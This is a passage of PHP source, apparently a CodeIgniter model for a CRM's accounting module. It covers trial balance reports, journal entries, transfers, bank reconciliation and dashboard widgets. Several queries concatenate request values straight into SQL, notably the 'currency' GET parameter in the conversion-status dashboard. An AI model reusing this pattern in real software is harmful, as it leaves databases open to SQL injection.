if($value['account_type_id'] == 1){ $data_accounts['accounts_receivable'][] = $value; } if($value['account_type_id'] == 2){ $data_accounts['current_assets'][] = $value; } if($value['account_type_id'] == 3){ $data_accounts['cash_and_cash_equivalents'][] = $value; } if($value['account_type_id'] == 4){ $data_accounts['fixed_assets'][] = $value; } if($value['account_type_id'] == 5){ $data_accounts['non_current_assets'][] = $value; } if($value['account_type_id'] == 6){ $data_accounts['accounts_payable'][] = $value; } if($value['account_type_id'] == 7){ $data_accounts['credit_card'][] = $value; } if($value['account_type_id'] == 8){ $data_accounts['current_liabilities'][] = $value; } if($value['account_type_id'] == 9){ $data_accounts['non_current_liabilities'][] = $value; } if($value['account_type_id'] == 10){ $data_accounts['owner_equity'][] = $value; } if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; $total = 0; $balance_total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $node = []; $balance = 0; $amount = 0; foreach ($account_history as $v) { if($value['account_type_id'] == 11 || $value['account_type_id'] == 12 || $value['account_type_id'] == 10 || $value['account_type_id'] == 9 || $value['account_type_id'] == 8 || $value['account_type_id'] == 7 || $value['account_type_id'] == 6){ $am = $v['credit'] - $v['debit']; }else{ $am = $v['debit'] - $v['credit']; } $node[] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'description' => $v['description'], 'customer' => $v['customer'], 'split' => $v['split'] != 0 ? (isset($account_name[$v['split']]) ? $account_name[$v['split']] : '') : '-Split-', 'debit' => $v['debit'], 'credit' => $v['credit'], 'amount' => $am, 'balance' => $balance + ($am), ]; $amount += $am; $balance += $am; } $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account = $this->get_data_transaction_detail_by_account_recursive([], $val['id'], $value['account_type_id'], $from_date, $to_date, $accounting_method); $data_report[$data_key][] = ['account' => $val['id'], 'name' => $name, 'amount' => $amount, 'balance' => $balance, 'details' => $node, 'child_account' => $child_account]; $total += $amount; $balance_total += $balance; } } $data_total[$data_key] = ['amount' => $total, 'balance' => $balance_total]; } return ['data' => $data_report, 'total' => $data_total, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data transaction list by date * @return array */ public function get_data_transaction_list_by_date($data_filter){ $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $from_date = date('Y-m-01'); $to_date = date('Y-m-d'); if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $accounts = $this->accounting_model->get_accounts(); $account_name = []; $account_type = []; foreach ($accounts as $key => $value) { $account_name[$value['id']] = $value['name']; $account_type[$value['id']] = $value['account_type_id']; } $data_report = []; $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->where('((debit > 0 and (rel_type != "expense" and rel_type != "transfer")) or (credit > 0 and (rel_type = "expense" or rel_type = "transfer")))'); $this->db->order_by('date', 'asc'); $account_history = $this->db->get(db_prefix().'acc_account_history')->result_array(); $balance = 0; $amount = 0; foreach ($account_history as $v) { $account_type_id = (isset($account_type[$v['account']]) ? $account_type[$v['account']] : ''); if($account_type_id == 11 || $account_type_id == 12 || $account_type_id == 8 || $account_type_id == 9 || $account_type_id == 10 || $account_type_id == 7 || $account_type_id == 6){ $am = $v['credit'] - $v['debit']; }else{ $am = $v['debit'] - $v['credit']; } $data_report[] = [ 'date' => date('Y-m-d', strtotime($v['date'])), 'type' => _l($v['rel_type']), 'split' => $v['split'] != 0 ? (isset($account_name[$v['split']]) ? $account_name[$v['split']] : '') : '-Split-', 'name' => isset($account_name[$v['account']]) ? $account_name[$v['account']] : '', 'description' => $v['description'], 'customer' => $v['customer'], 'amount' => $am, 'debit' => $v['debit'], 'credit' => $v['credit'], ]; } return ['data' => $data_report, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * get data trial balance * @param array $data_filter * @return array */ public function get_data_trial_balance($data_filter){ $from_date = date('Y-m-01'); $to_date = date('Y-m-d'); $accounting_method = 'cash'; if(isset($data_filter['accounting_method'])){ $accounting_method = $data_filter['accounting_method']; } if(isset($data_filter['from_date'])){ $from_date = to_sql_date($data_filter['from_date']); } if(isset($data_filter['to_date'])){ $to_date = to_sql_date($data_filter['to_date']); } $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 1){ $data_accounts['accounts_receivable'][] = $value; } if($value['account_type_id'] == 2){ $data_accounts['current_assets'][] = $value; } if($value['account_type_id'] == 3){ $data_accounts['cash_and_cash_equivalents'][] = $value; } if($value['account_type_id'] == 4){ $data_accounts['fixed_assets'][] = $value; } if($value['account_type_id'] == 5){ $data_accounts['non_current_assets'][] = $value; } if($value['account_type_id'] == 6){ $data_accounts['accounts_payable'][] = $value; } if($value['account_type_id'] == 7){ $data_accounts['credit_card'][] = $value; } if($value['account_type_id'] == 8){ $data_accounts['current_liabilities'][] = $value; } if($value['account_type_id'] == 9){ $data_accounts['non_current_liabilities'][] = $value; } if($value['account_type_id'] == 10){ $data_accounts['owner_equity'][] = $value; } if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; $total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('(parent_account is null or parent_account = 0)'); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('(date >= "' . $from_date . '" and date <= "' . $to_date . '")'); $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; if($credits > $debits){ $credits = $credits - $debits; $debits = 0; }else{ $debits = $debits - $credits; $credits = 0; } $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); $child_account = $this->get_data_trial_balance_recursive([], $val['id'], $value['account_type_id'], $from_date, $to_date, $accounting_method); $data_report[$data_key][] = ['name' => $name, 'debit' => $debits, 'credit' => $credits, 'child_account' => $child_account]; } } $data_total[$data_key] = $total; } return ['data' => $data_report, 'total' => $data_total, 'from_date' => $from_date, 'to_date' => $to_date]; } /** * import xlsx banking * @param array $data * @return integer or boolean */ public function import_xlsx_banking($data){ $data['datecreated'] = date('Y-m-d H:i:s'); $data['addedfrom'] = get_staff_user_id(); $data['date'] = str_replace('/', '-', $data['date']); $data['date'] = date("Y-m-d", strtotime($data['date'])); $this->db->insert(db_prefix() . 'acc_transaction_bankings', $data); $insert_id = $this->db->insert_id(); if ($insert_id) { return $insert_id; } return false; } /** * get transaction banking * @param string $id * @param array $where * @return array or object */ public function get_transaction_banking($id = '', $where = []) { if (is_numeric($id)) { $this->db->where('id', $id); return $this->db->get(db_prefix() . 'acc_transaction_bankings')->row(); } $this->db->where($where); $this->db->order_by('id', 'desc'); return $this->db->get(db_prefix() . 'acc_transaction_bankings')->result_array(); } /** * get journal entry * @param integer $id * @return object */ public function get_journal_entry($id){ $this->db->where('id', $id); $journal_entrie = $this->db->get(db_prefix() . 'acc_journal_entries')->row(); if($journal_entrie){ $this->db->where('rel_id', $id); $this->db->where('rel_type', 'journal_entry'); $details = $this->db->get(db_prefix().'acc_account_history')->result_array(); $data_details =[]; foreach ($details as $key => $value) { $data_details[] = [ "account" => $value['account'], "debit" => floatval($value['debit']), "credit" => floatval($value['credit']), "description" => $value['description']]; } if(count($data_details) < 10){ } $journal_entrie->details = $data_details; } return $journal_entrie; } /** * delete journal entry * @param integer $id * @return boolean */ public function delete_journal_entry($id) { $this->db->where('id', $id); $this->db->delete(db_prefix() . 'acc_journal_entries'); if ($this->db->affected_rows() > 0) { $this->db->where('rel_id', $id); $this->db->where('rel_type', 'journal_entry'); $this->db->delete(db_prefix() . 'acc_account_history'); return true; } return false; } /** * update journal entry * @param array $data * @param integer $id * @return boolean */ public function update_journal_entry($data, $id){ $journal_entry = json_decode($data['journal_entry']); unset($data['journal_entry']); $data['journal_date'] = to_sql_date($data['journal_date']); if(get_option('acc_close_the_books') == 1){ if(strtotime($data['journal_date']) <= strtotime(get_option('acc_closing_date')) && strtotime(date('Y-m-d')) > strtotime(get_option('acc_closing_date'))){ return 'close_the_book'; } } $this->db->where('id', $id); $this->db->update(db_prefix().'acc_journal_entries', $data); $this->db->where('rel_id', $id); $this->db->where('rel_type', 'journal_entry'); $this->db->delete(db_prefix() . 'acc_account_history'); $data_insert = []; foreach ($journal_entry as $key => $value) { if($value[0] != ''){ $node = []; $node['account'] = $value[0]; $node['debit'] = $value[1]; $node['credit'] = $value[2]; $node['date'] = $data['journal_date']; $node['description'] = $value[3]; $node['rel_id'] = $id; $node['rel_type'] = 'journal_entry'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $data_insert[] = $node; } } $this->db->insert_batch(db_prefix().'acc_account_history', $data_insert); return true; } /** * check format date Y-m-d * * @param String $date The date * * @return boolean */ public function check_format_date($date) { if (preg_match("/^[0-9]{4}-(0[1-9]|1[0-2])-(0[1-9]|[1-2][0-9]|3[0-1])$/", $date)) { return true; } else { return false; } } /** * get transfer * @param integer $id * @return object */ public function get_transfer($id){ $this->db->where('id', $id); return $this->db->get(db_prefix() . 'acc_transfers')->row(); } /** * update transfer * @param array $data * @param integer $id * @return boolean */ public function update_transfer($data, $id){ if(isset($data['id'])){ unset($data['id']); } $data['date'] = to_sql_date($data['date']); if(get_option('acc_close_the_books') == 1){ if(strtotime($data['date']) <= strtotime(get_option('acc_closing_date')) && strtotime(date('Y-m-d')) > strtotime(get_option('acc_closing_date'))){ return 'close_the_book'; } } $data['transfer_amount'] = str_replace(',', '', $data['transfer_amount']); $this->db->where('id', $id); $this->db->update(db_prefix().'acc_transfers', $data); $this->db->where('rel_id', $id); $this->db->where('rel_type', 'transfer'); $this->db->delete(db_prefix() . 'acc_account_history'); $node = []; $node['account'] = $data['transfer_funds_from']; $node['debit'] = 0; $node['credit'] = $data['transfer_amount']; $node['date'] = $data['date']; $node['rel_id'] = $id; $node['rel_type'] = 'transfer'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); $node = []; $node['account'] = $data['transfer_funds_to']; $node['debit'] = $data['transfer_amount']; $node['credit'] = 0; $node['date'] = $data['date']; $node['rel_id'] = $id; $node['rel_type'] = 'transfer'; $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); return true; } /** * delete transfer * @param integer $id * @return boolean */ public function delete_transfer($id) { $this->db->where('id', $id); $this->db->delete(db_prefix() . 'acc_transfers'); if ($this->db->affected_rows() > 0) { $this->db->where('rel_id', $id); $this->db->where('rel_type', 'transfer'); $this->db->delete(db_prefix() . 'acc_account_history'); return true; } return false; } /** * delete account * @param integer $id * @return boolean */ public function delete_account($id) { $this->db->where('(account = '. $id .' or split = '. $id.')'); $count = $this->db->count_all_results(db_prefix() . 'acc_account_history'); if($count > 0){ return 'have_transaction'; } $this->db->where('id', $id); $this->db->where('default_account', 0); $this->db->delete(db_prefix() . 'acc_accounts'); if ($this->db->affected_rows() > 0) { $this->db->where('account', $id); $this->db->delete(db_prefix() . 'acc_account_history'); return true; } return false; } /** * delete convert * @param integer $id * @return boolean */ public function delete_convert($id, $type) { $this->db->where('rel_id', $id); $this->db->where('rel_type', $type); $this->db->delete(db_prefix() . 'acc_account_history'); if ($this->db->affected_rows() > 0) { return true; } return false; } /** * Gets the invoice without commission. * * @param bool $old_invoice * * @return array The invoice without commission. */ public function get_data_invoices_for_select($where = []){ $this->db->where($where); $invoices = $this->db->get(db_prefix() . 'invoices')->result_array(); $invoice_return = []; foreach ($invoices as $key => $value) { $payments_amount = sum_from_table(db_prefix() . 'invoicepaymentrecords', array('field' => 'amount', 'where' => array('invoiceid' => $value['id']))); if($payments_amount > 0){ $node = []; $node['id'] = $value['id']; $node['name'] = format_invoice_number($value['id']); $invoice_return[] = $node; } } return $invoice_return; } /** * get reconcile by account * @param integer $account * @return object or boolean */ public function get_reconcile_by_account($account){ $this->db->where('account', $account); $this->db->order_by('id', 'desc'); $reconcile = $this->db->get(db_prefix() . 'acc_reconciles')->row(); if($reconcile){ return $reconcile; } return false; } /** * add reconcile * @param array $data * @return integer or boolean */ public function add_reconcile($data){ if($data['ending_date'] != ''){ $data['ending_date'] = to_sql_date($data['ending_date']); } if($data['income_date'] != ''){ $data['income_date'] = to_sql_date($data['income_date']); } if($data['expense_date'] != ''){ $data['expense_date'] = to_sql_date($data['expense_date']); } $data['service_charge'] = str_replace(',', '', $data['service_charge']); $data['interest_earned'] = str_replace(',', '', $data['interest_earned']); $data['ending_balance'] = str_replace(',', '', $data['ending_balance']); $data['beginning_balance'] = str_replace(',', '', $data['beginning_balance']); $this->db->insert(db_prefix().'acc_reconciles', $data); $insert_id = $this->db->insert_id(); if($insert_id){ if($data['service_charge'] > 0){ $node = []; $node['split'] = $data['account']; $node['reconcile'] = $insert_id; $node['account'] = $data['expense_account']; $node['debit'] = $data['service_charge']; $node['credit'] = 0; $node['rel_id'] = 0; $node['rel_type'] = 'cheque_expense'; $node['description'] = _l('service_charge'); $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); $node = []; $node['split'] = $data['expense_account']; $node['reconcile'] = $insert_id; $node['account'] = $data['account']; $node['debit'] = 0; $node['credit'] = $data['service_charge']; $node['rel_id'] = 0; $node['rel_type'] = 'cheque_expense'; $node['description'] = _l('service_charge'); $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); } if($data['interest_earned'] > 0){ $node = []; $node['split'] = $data['account']; $node['reconcile'] = $insert_id; $node['account'] = $data['income_account']; $node['debit'] = 0; $node['credit'] = $data['interest_earned']; $node['rel_id'] = 0; $node['rel_type'] = 'deposit'; $node['description'] = _l('interest_earned'); $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); $node = []; $node['split'] = $data['income_account']; $node['reconcile'] = $insert_id; $node['account'] = $data['account']; $node['debit'] = $data['interest_earned']; $node['credit'] = 0; $node['rel_id'] = 0; $node['rel_type'] = 'deposit'; $node['description'] = _l('interest_earned'); $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); } return $insert_id; } return false; } /** * update reconcile * @param array $data * @param integer $id * @return boolean */ public function update_reconcile($data, $id){ if($data['ending_date'] != ''){ $data['ending_date'] = to_sql_date($data['ending_date']); } if($data['income_date'] != ''){ $data['income_date'] = to_sql_date($data['income_date']); } if($data['expense_date'] != ''){ $data['expense_date'] = to_sql_date($data['expense_date']); } $account = 0; if(isset($data['expense_date'])){ $account = $data['account']; unset($data['account']); } $data['service_charge'] = str_replace(',', '', $data['service_charge']); $data['interest_earned'] = str_replace(',', '', $data['interest_earned']); $data['ending_balance'] = str_replace(',', '', $data['ending_balance']); $data['beginning_balance'] = str_replace(',', '', $data['beginning_balance']); $this->db->where('id', $id); $this->db->update(db_prefix().'acc_reconciles', $data); if ($this->db->affected_rows() > 0) { $this->db->where('rel_id', 0); $this->db->where('rel_type', 'cheque_expense'); $this->db->where('reconcile', $id); $this->db->delete(db_prefix().'acc_account_history'); $this->db->where('rel_id', 0); $this->db->where('rel_type', 'deposit'); $this->db->where('reconcile', $id); $this->db->delete(db_prefix().'acc_account_history'); if($data['service_charge'] > 0){ $node = []; $node['split'] = $account; $node['reconcile'] = 0; $node['account'] = $data['expense_account']; $node['debit'] = $data['service_charge']; $node['credit'] = 0; $node['rel_id'] = 0; $node['rel_type'] = 'cheque_expense'; $node['description'] = _l('service_charge'); $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); $node = []; $node['split'] = $data['expense_account']; $node['reconcile'] = $id; $node['account'] = $account; $node['debit'] = 0; $node['credit'] = $data['service_charge']; $node['rel_id'] = 0; $node['rel_type'] = 'cheque_expense'; $node['description'] = _l('service_charge'); $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); } if($data['interest_earned'] > 0){ $node = []; $node['split'] = $account; $node['reconcile'] = 0; $node['account'] = $data['income_account']; $node['debit'] = 0; $node['credit'] = $data['interest_earned']; $node['rel_id'] = 0; $node['rel_type'] = 'deposit'; $node['description'] = _l('interest_earned'); $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); $node = []; $node['split'] = $data['income_account']; $node['reconcile'] = $id; $node['account'] = $account; $node['debit'] = $data['interest_earned']; $node['credit'] = 0; $node['rel_id'] = 0; $node['rel_type'] = 'deposit'; $node['description'] = _l('interest_earned'); $node['datecreated'] = date('Y-m-d H:i:s'); $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); } return true; } return false; } /** * add adjustment * @param array $data * @return integer or boolean */ public function add_adjustment($data){ $this->db->where('account_type_id', 15); $this->db->where('account_detail_type_id', 139); $account = $this->db->get(db_prefix().'acc_accounts')->row(); $data['adjustment_date'] = to_sql_date($data['adjustment_date']); if(get_option('acc_close_the_books') == 1){ if(strtotime($data['adjustment_date']) <= strtotime(get_option('acc_closing_date')) && strtotime(date('Y-m-d')) > strtotime(get_option('acc_closing_date'))){ return 'close_the_book'; } } if($account){ $data['adjustment_amount'] = str_replace(',', '', $data['adjustment_amount']); $node = []; $node['account'] = $account->id; if($data['adjustment_amount'] > 0){ $node['rel_id'] = 0; $node['rel_type'] = 'deposit'; $node['debit'] = $data['adjustment_amount']; $node['credit'] = 0; }else{ $node['rel_id'] = 0; $node['rel_type'] = 'cheque_expense'; $node['debit'] = 0; $node['credit'] = $data['adjustment_amount']; } $node['split'] = $data['account']; $node['reconcile'] = $data['reconcile']; $node['description'] = _l('reconcile_adjustment'); $node['datecreated'] = date('Y-m-d H:i:s'); $node['date'] = $data['adjustment_date']; $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); $node = []; $node['account'] = $data['account']; if($data['adjustment_amount'] > 0){ $node['rel_id'] = 0; $node['rel_type'] = 'deposit'; $node['debit'] = 0; $node['credit'] = $data['adjustment_amount']; }else{ $node['rel_id'] = 0; $node['rel_type'] = 'cheque_expense'; $node['debit'] = $data['adjustment_amount']; $node['credit'] = 0; } $node['split'] = $account->id; $node['reconcile'] = $data['reconcile']; $node['description'] = _l('reconcile_adjustment'); $node['datecreated'] = date('Y-m-d H:i:s'); $node['date'] = $data['adjustment_date']; $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); $insert_id = $this->db->insert_id(); if ($insert_id) { return $insert_id; } }else{ $this->db->insert(db_prefix().'acc_accounts', [ 'name' => '', 'key_name' => 'acc_reconciliation_discrepancies', 'account_type_id' => 15, 'account_detail_type_id' => 139, ]); $account_id = $this->db->insert_id(); if ($account_id) { $node = []; $node['split'] = $data['account']; $node['account'] = $account_id; if($data['adjustment_amount'] > 0){ $node['rel_id'] = $id; $node['rel_type'] = 'deposit'; $node['debit'] = $data['adjustment_amount']; $node['credit'] = 0; }else{ $node['rel_id'] = $id; $node['rel_type'] = 'cheque_expense'; $node['debit'] = 0; $node['credit'] = $data['adjustment_amount']; } $node['reconcile'] = $data['reconcile']; $node['description'] = _l('reconcile_adjustment'); $node['datecreated'] = date('Y-m-d H:i:s'); $node['date'] = $data['adjustment_date']; $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); $node = []; $node['account'] = $data['account']; if($data['adjustment_amount'] > 0){ $node['rel_id'] = 0; $node['rel_type'] = 'deposit'; $node['debit'] = 0; $node['credit'] = $data['adjustment_amount']; }else{ $node['rel_id'] = 0; $node['rel_type'] = 'cheque_expense'; $node['debit'] = $data['adjustment_amount']; $node['credit'] = 0; } $node['split'] = $account_id; $node['reconcile'] = $data['reconcile']; $node['description'] = _l('reconcile_adjustment'); $node['datecreated'] = date('Y-m-d H:i:s'); $node['date'] = $data['adjustment_date']; $node['addedfrom'] = get_staff_user_id(); $this->db->insert(db_prefix().'acc_account_history', $node); $insert_id = $this->db->insert_id(); if ($insert_id) { return $insert_id; } } } return false; } /** * finish reconcile account * @param array $data * @return boolean */ public function finish_reconcile_account($data){ $affectedRows = 0; if($data['history_ids'] != ''){ $history_ids = explode(', ', $data['history_ids']); foreach ($history_ids as $key => $value) { $this->db->where('id', $value); $this->db->update(db_prefix().'acc_account_history', ['reconcile' => $data['reconcile']]); if ($this->db->affected_rows() > 0) { $affectedRows++; } } } if($data['finish'] == 1){ $this->db->where('id', $data['reconcile']); $this->db->update(db_prefix().'acc_reconciles', ['finish' => 1]); if ($this->db->affected_rows() > 0) { $affectedRows++; } } if ($affectedRows > 0) { return true; } return true; } /** * reconcile save for later * @param array $data * @return boolean */ public function reconcile_save_for_later($data){ $affectedRows = 0; if($data['history_ids'] != ''){ $history_ids = explode(', ', $data['history_ids']); foreach ($history_ids as $key => $value) { $this->db->where('id', $value); $this->db->update(db_prefix().'acc_account_history', ['reconcile' => $data['reconcile']]); if ($this->db->affected_rows() > 0) { $affectedRows++; } } } if ($affectedRows > 0) { return true; } return true; } /** * get data bank accounts dashboard * @param array $data_filter * @return array */ public function get_data_bank_accounts_dashboard($data_filter){ $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $where = $this->get_where_report_period(); $account_type_details = $this->get_account_type_details(); $data_return = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 3){ $data_accounts['cash_and_cash_equivalents'][] = $value; } if($value['account_type_id'] == 7){ $data_accounts['credit_card'][] = $value; } } $html = '<ul class="list-group"> <li class="list-group-item bold">'. _l('bank_accounts_uppercase').'<span class="badge">'. _l('balance').'</span></li>'; foreach ($data_accounts as $data_key => $data_account) { $total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->select('sum(credit) as credit, sum(debit) as debit'); $this->db->where('account', $val['id']); if($where != ''){ $this->db->where($where); } $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; $name = $val['name'] != '' ? $val['name'] : _l($val['key_name']); if($value['account_type_id'] == 10 || $value['account_type_id'] == 8 || $value['account_type_id'] == 9 || $value['account_type_id'] == 7){ $html .= '<li class="list-group-item">'.$name.'<span class="badge">'.app_format_money($credits - $debits, $currency->name).'</span></li>'; }else{ $html .= '<li class="list-group-item">'.$name.'<span class="badge">'.app_format_money($debits - $credits, $currency->name).'</span></li>'; } $data_return[] = ['name' => $name, 'balance' => $debits - $credits]; } } } $html .= '</ul>'; return $html; } /** * get data convert status dashboard * @param array $data_filter * @return array */ public function get_data_convert_status_dashboard($data_filter){ $this->load->model('currencies_model'); $currency = $this->currencies_model->get_base_currency(); $where = $this->get_where_report_period(); $data_currency = $currency->id; if($this->input->get('currency')){ $data_currency = $this->input->get('currency'); $currency = $this->currencies_model->get($data_currency); } $this->db->select_sum('total'); if($where != ''){ $this->db->where($where); } $this->db->where('((select count(*) from ' . db_prefix() . 'acc_account_history where ' . db_prefix() . 'acc_account_history.rel_id = ' . db_prefix() . 'invoices.id and ' . db_prefix() . 'acc_account_history.rel_type = "invoice") = 0) and currency = '.$data_currency); $invoice = $this->db->get(db_prefix().'invoices')->row(); $this->db->select_sum('amount'); if($where != ''){ $this->db->where($where); } $this->db->where('((select count(*) from ' . db_prefix() . 'acc_account_history where ' . db_prefix() . 'acc_account_history.rel_id = ' . db_prefix() . 'expenses.id and ' . db_prefix() . 'acc_account_history.rel_type = "expense") = 0) and currency = '.$data_currency); $expense = $this->db->get(db_prefix().'expenses')->row(); $where_payment = $this->get_where_report_period(db_prefix() . 'invoicepaymentrecords.date'); $this->db->select_sum('amount'); if($where_payment != ''){ $this->db->where($where_payment); } $this->db->where('((select count(*) from ' . db_prefix() . 'acc_account_history where ' . db_prefix() . 'acc_account_history.rel_id = ' . db_prefix() . 'invoicepaymentrecords.id and ' . db_prefix() . 'acc_account_history.rel_type = "payment") = 0) and currency = '.$data_currency); $this->db->join(db_prefix() . 'invoices', db_prefix() . 'invoices.id=' . db_prefix() . 'invoicepaymentrecords.invoiceid', 'left'); $payment = $this->db->get(db_prefix().'invoicepaymentrecords')->row(); $html = '<table class="table border table-striped no-margin"> <tbody> <tr class="project-overview"> <td colspan="3" class="text-center"><h4>'. _l('transaction_not_yet_converted').'</h4></td> </tr> <tr class="project-overview"> <td class="bold" width="30%">'. _l('transaction').'</td> <td class="bold" width="30%">'. _l('invoice_table_quantity_heading').'</td> <td class="bold">'. _l('acc_amount').'</td> </tr> <tr class="project-overview '. ($invoice->total > 0 ? 'text-danger' : '').'"> <td class="bold" width="30%"><a href="'.admin_url('accounting/transaction?group=sales&tab=invoice&status=has_not_been_converted').'">'. _l('invoice').'</a></td> <td width="30%">'. $this->count_invoice_not_convert_yet($data_currency, $where) .'</td> <td>'. app_format_money($invoice->total, $currency->name) .'</td> </tr> <tr class="project-overview '. ($payment->amount > 0 ? 'text-danger' : '').'"> <td class="bold" width="30%"><a href="'.admin_url('accounting/transaction?group=sales&tab=payment&status=has_not_been_converted').'">'. _l('payment').'</a></td> <td width="30%">'. $this->count_payment_not_convert_yet($data_currency, $where_payment) .'</td> <td>'. app_format_money($payment->amount, $currency->name) .'</td> </tr> <tr class="project-overview '. ($expense->amount > 0 ? 'text-danger' : '').'"> <td class="bold" width="30%"><a href="'.admin_url('accounting/transaction?group=expenses&status=has_not_been_converted').'">'. _l('expense').'</a></td> <td width="30%">'. $this->count_expense_not_convert_yet($data_currency, $where) .'</td> <td>'. app_format_money($expense->amount, $currency->name) .'</td> </tr> </tbody> </table>'; return $html; } /** * get data profit and loss chart * @param array $data_filter * @return array */ public function get_data_profit_and_loss_chart(){ $accounting_method = get_option('acc_accounting_method'); $where = $this->get_where_report_period(); $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 11){ $data_accounts['income'][] = $value; } if($value['account_type_id'] == 12){ $data_accounts['other_income'][] = $value; } if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; } } foreach ($data_accounts as $data_key => $data_account) { $data_report[$data_key] = []; $total = 0; foreach ($data_account as $key => $value) { $this->db->where('active', 1); $this->db->where('account_detail_type_id', $value['id']); $accounts = $this->db->get(db_prefix().'acc_accounts')->result_array(); foreach ($accounts as $val) { $this->db->where('account', $val['id']); if($accounting_method == 'cash'){ $this->db->where('((rel_type = "invoice" and paid = 1) or rel_type != "invoice")'); } $this->db->select('sum(credit) as credit, sum(debit) as debit'); if($where != ''){ $this->db->where($where); } $account_history = $this->db->get(db_prefix().'acc_account_history')->row(); $credits = $account_history->credit != '' ? $account_history->credit : 0; $debits = $account_history->debit != '' ? $account_history->debit : 0; if($value['account_type_id'] == 11 || $value['account_type_id'] == 12){ $total += $credits - $debits; }else{ $total += $debits - $credits; } } } $data_total[$data_key] = $total; } $income = $data_total['income'] + $data_total['other_income']; $expenses = $data_total['expenses'] + $data_total['other_expenses'] + $data_total['cost_of_sales']; $net_income = $income - $expenses; return [$net_income, $income, $expenses]; } /** * get data expenses chart * @param array $data_filter * @return array */ public function get_data_expenses_chart($data_filter){ $where = $this->get_where_report_period(); $account_type_details = $this->get_account_type_details(); $data_report = []; $data_total = []; $data_accounts = []; foreach ($account_type_details as $key => $value) { if($value['account_type_id'] == 13){ $data_accounts['cost_of_sales'][] = $value; } if($value['account_type_id'] == 14){ $data_accounts['expenses'][] = $value; } if($value['account_type_id'] == 15){ $data_accounts['other_expenses'][] = $value; 